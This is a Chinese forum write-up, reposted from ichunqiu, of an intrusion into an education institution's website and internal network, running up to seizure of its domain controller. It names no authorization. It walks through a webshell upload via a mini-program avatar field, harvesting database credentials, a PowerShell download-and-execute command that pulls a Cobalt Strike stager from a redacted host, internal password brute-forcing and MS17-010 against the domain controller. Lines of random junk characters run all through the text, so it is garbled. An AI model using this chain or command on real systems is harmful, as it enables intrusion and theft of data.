|
4 W& j0 q: B' \+ _+ @* e+ G# T* w 这次渗透是一个从0到1,从外网到拿下域控的实战过程,希望可以给大家一些思路
4 o; h. Y' ~; l% e4 [; f
" E0 n0 X9 s3 Z, u( c
) k5 f0 Y' K) \6 V2 I
, B& X0 q6 k) {1 C q8 _
4 Y. I4 v% _" S3 X$ ^: W! @: C# q, v& \
正文
/ u$ s( A) H3 E- A3 I7 m; l! S
6 w# H7 G' V( \" v, b7 }: A
+ O3 {$ B! P, D0 c+ d3 c) e7 U , W- b: s- l4 Y2 z9 m
6 E: K0 q* y; A8 ]) f& S$ e- V5 }# I4 h& X9 K H- d2 o7 p+ f
目标:www.xxxx.com(一家教育机构) 5 V+ `: g0 U4 c+ f& `8 t4 W3 o9 N2 m; f
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能5 F. W6 O3 M2 H e7 ?/ r" {
7 n# w1 i. t% E6 p: Q* L! A; u! V# S# B0 A- S
$ {: y A. a- [- _9 [: D% O
. X+ L+ S' L% @2 I- ?5 l- j: F( E# G# x# `3 i g0 B
进行了简单的信息搜集
5 M% c- `8 B0 p; k. \: D
: _1 | | w6 b4 A! _; {
. \% |( V, W' A1 I . ^: w7 i( f6 F4 L( P
* @7 o0 s- @( c+ V1 m+ s' [ 子域名搜集; A* K& R- P7 L% U; I
: O: i1 d! v$ E" k: l1 ]; d& @
) b& i$ }; s' I _" {4 T9 G7 Q
0 q4 o, T. V8 y. P% t% L* [# _ . ^5 P; i: K, d. a3 h' S- G2 b( [
7 l& _. \2 }0 w0 `8 R; E7 U% y1 U5 [
fofa找资产 . g0 D4 R) p: I& Y3 K6 T- o
- V- H9 t2 m5 O p+ o0 i: I
: U0 ]2 O. q! W1 I 8 ~ F1 L ~' ~7 c" B3 s5 Z
! p1 p, ?( m% r# |' o5 _! } R
5 e% H& [& z: U4 t: R - I3 \9 K, V% T% P# }5 \2 O
2 Y- v; S2 W7 _" g: X 一共七个资产。去重之后只有两个。
) J. [" R" U- F S, L8 w+ C% _
$ V+ w; }) w7 K# x. t
) r) [5 E2 y) j' U, _1 z
. ?% ]+ [' G/ A+ Z
7 z. J) H4 l$ U( k- a; N 目录探测( r0 L) U+ q2 h, r
, @- A2 [+ e$ I6 h" A8 V
5 Z; j! y5 h: D9 z; d5 X5 y9 q( e9 @
- G) i& u9 S6 o: I9 c
* h" f. S9 x$ y/ m' `5 n2 s- u' T5 i) w
我尝试了暴力枚举,看有没有弱口令之类的,然而并没有 & t1 \) n/ [1 R
. T; ]4 e% N, L$ t. H
: D8 h0 K0 Q4 ?9 g I6 u
$ q) K3 Z( |2 O/ O+ `* V; q$ F
1 N( z: }' R2 P+ I 我又尝试了通过修改返回包来绕过登录界面2 k) L4 R7 ?% p5 z
! j; \( J$ |* a
# K; Z; D$ s' W9 ]3 U3 k0 g. r- T " g8 e' y, s) v' `9 H
# w, e" s2 ?9 x' U. y8 I
; E; z7 R( b- k5 ~ 还是不行,尝试注入无果
; J6 W f* A5 Y4 J5 a ) S8 D+ B4 }, F& q+ B
7 D* l( ^- |+ j( J* O- Y; X' x5 M
Q* M2 w) G* a4 {- r* ?
5 z. E) g$ V$ E+ Y" p6 J& u; f9 y/ Y/ s9 o
不过我目录探测出了一处Spring信息泄露 ' G+ f4 C, B. }) @
5 e' `! Q9 ]5 W' ^
& H* S0 G) K1 }4 N( ~- X. g) t# ? ; s9 d9 Z! ^- E) H2 o
* T3 \, X4 u5 f2 |$ P; i w
# b+ @; K4 i2 @( d$ P" L+ e0 d; d - i, f, R8 T7 Y* W" x( P
7 G6 R) l6 y' T o* q: \" e 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录+ ^5 G& w& @* |2 C) j4 n
' A, f( o% a' A8 V1 X
* r: @/ ]( b3 C* H, c
2 \) R5 k8 j+ I; ?7 I5 h9 E. G
4 ^: z: t% t1 p7 I z
; k/ V7 N6 _( a; Z! }. ?5 g 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。' M! o! h5 } X( A9 \& O
" n6 A) i5 }" y5 |* T( c* B3 u0 J9 H
' A' |6 H1 k! ]! `# i ; H/ [+ F4 R" P
0 y5 N( L& S' k' {
# H4 b* t8 w+ `, u 获取有些师傅到这一步就手机抓包电脑测了。, Y8 X) Y( \/ H; j# Y$ B* h1 |
: n6 y3 ^7 I; V/ X
5 ?/ ^* Z# }' D8 X) `- o) f; g, B( c Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。
6 x% |* H+ p- _! \5 H2 e, X% J# N9 u * [0 a" o8 W# E+ Z3 Q
* d# V6 g5 |0 z9 f! v& y) U5 I 其中在一个公众号发现了小程序,可以进行注册。 C# A, v8 P7 _5 y& X& j% ]
- u) ?: n. @& { _7 y3 n6 u" f
) X6 Y) G+ h; x& W- P" h 看到了头像上传,尝试上传获取WebShell- o2 c( o9 h( W% j5 |9 r% l
# j" C% K, J, r* V! e* l
& ~7 I; G2 ]/ E2 a' s# n( f
' {! Z) T5 ~" T- K. J ; q8 B- l; t& F- N4 n
8 T- T& T# @) X- p3 t' u( C: H
未做任何限制成功GetShell,上了冰蝎马,目录没权限访问6 g& c' c' _2 }( h. h
9 e! D5 O7 u* z1 |, u) q
$ D3 _' ]' {! j) k. o' S
& e: R. e( v( |- T/ o$ n
2 T6 T3 A+ m/ ?9 o: L) F8 w4 ?0 X# \ b. ~; u
然后上了大马- C7 ?# w; h* q0 z2 g- ]" I5 U, l4 ~7 e X
4 c' s: [5 S% x u1 K8 s6 B, C' H
2 z: N( g' @ m& h+ E& ]# Y# L' z ) F: c+ r6 J ]$ E6 \* A6 Z
: e$ k0 p( R) a$ j$ N8 q0 h
) e8 K0 q/ k) N4 O& N& Y( J . U: Q- y, }: f; R
2 r/ {$ d% h4 d g: A- P' r6 m
' K, v7 m$ E0 e8 e6 K
通过翻找文件发现数据库账号密码
% c- a& P2 I6 G; N% B 6 w: A6 W7 c% A0 h& u5 d! b' Y( @% ^
! o% [) |' U! P+ r; }
) i7 V0 j n6 `- Z7 m$ V- I
. [% q* V' g3 c6 c! V# z/ G! F% h. j" s: m
--内网渗透4 f3 ?& U: m0 W2 N3 `2 L; U
% h" Z, [% ~/ E. Q2 N. x1 A
8 J6 }: d. v( ~5 b 直接通过powershell执行 cs上线, b6 l9 ~' m$ }
t: l- {% u; y4 h5 v8 L/ O1 x9 F$ t% w1 d) v9 y7 _! Z
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"
. }) ^0 h, }. C9 J* `
( Z4 d/ Y' N4 k4 R3 X" ?6 C) }
" \% S" y. s( o ' Z) K/ ?2 w+ q
% i; C4 c& x, \3 B2 C2 H, a7 a: f$ ^- y6 T1 O& y, I9 ?
进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破
2 ?( C! J" E8 f4 U4 c' Q: [' Z
. E0 u( o! v: O0 p8 a' M$ L0 Y' f& s1 t8 `6 _
7 K0 i. _, n* f% o7 N- ]: J) ]- G8 ~ ) f ]/ y% Y1 h
# _1 C' C9 M1 I 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
v- \" I2 ~( f: o# L: O) x
0 S! T5 c0 s+ K# a/ d2 h1 ^
$ t3 L7 r7 P0 h3 n' T
/ P* G7 ?+ M: ?
0 A1 G0 G$ A- |- t2 {) a
: H) e* T& q3 p% @; S + x h! F* b9 g
2 C, r2 g8 b! z4 J
5 | f% Q$ o5 j# f' X% W 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
" Q3 S- a a9 ?/ G
0 m$ S' C9 F, U) c$ e7 k
6 o Y, u7 N$ k 8 C4 A$ L, e) A1 w
; i& w- G, {4 A1 b4 D( X, A
, G2 ?" Z# ^( x- |/ b7 o . m5 p: h, ?/ y R6 o: y, V( A q
# k0 Y0 f9 o4 \9 M! |; N
7 ^9 n* |/ H( @
* E8 t# v2 a2 g# f, Y& o2 J" w
+ R7 H! S1 i8 O8 T( w; A
% J9 j$ F- ^% Z9 w6 b2 Q- \
( W! r8 O$ S2 m 5 R+ @" ~9 R8 I' k7 e7 v% i; X- D0 r0 C
' D, [5 J& w a( M; B4 S
4 S2 B& E0 j( w K" V 小结
3 z" t. n/ U* D7 d+ z : F8 q) @9 x/ y% h6 Q$ k
. \) }( N4 Y! q+ T* [+ J , J* U* H# s$ q1 {0 y
4 S" A( J; G# Q! D2 x. P
+ \7 n1 n2 B' F# s4 M8 V& {8 S% a 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!
U& C' D7 A4 M7 J8 t
6 H; q1 G" K2 A/ w( N+ w: z% `0 B/ \. J# l( K3 H y; ^
0 o7 W5 B' I) h$ Q$ Z2 T 3 }( ]1 E: G9 i7 O
8 [8 U0 w. c3 O9 V# n1 I1 Y -
, Y1 j9 m6 E, j/ O & H7 O- b2 v3 @$ e" [1 M/ I# v
, v8 z; y- x8 N1 G
- ' h0 {) i" _; O: H3 O8 }5 ^. q
7 R. n, ]/ b. B
3 O7 g5 j' e+ y( \9 I; d
B0 N R& G+ [9 I% U) V5 R
2 d6 o& M& z& H% U7 w 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html
' f/ X6 k' U) {0 m8 X0 B # Z4 D6 d7 u/ d7 J. I, B3 O; w
' z" w3 U: j3 Z9 c0 x! T ; }( Y- z" a4 O; b* \4 b' }- V
|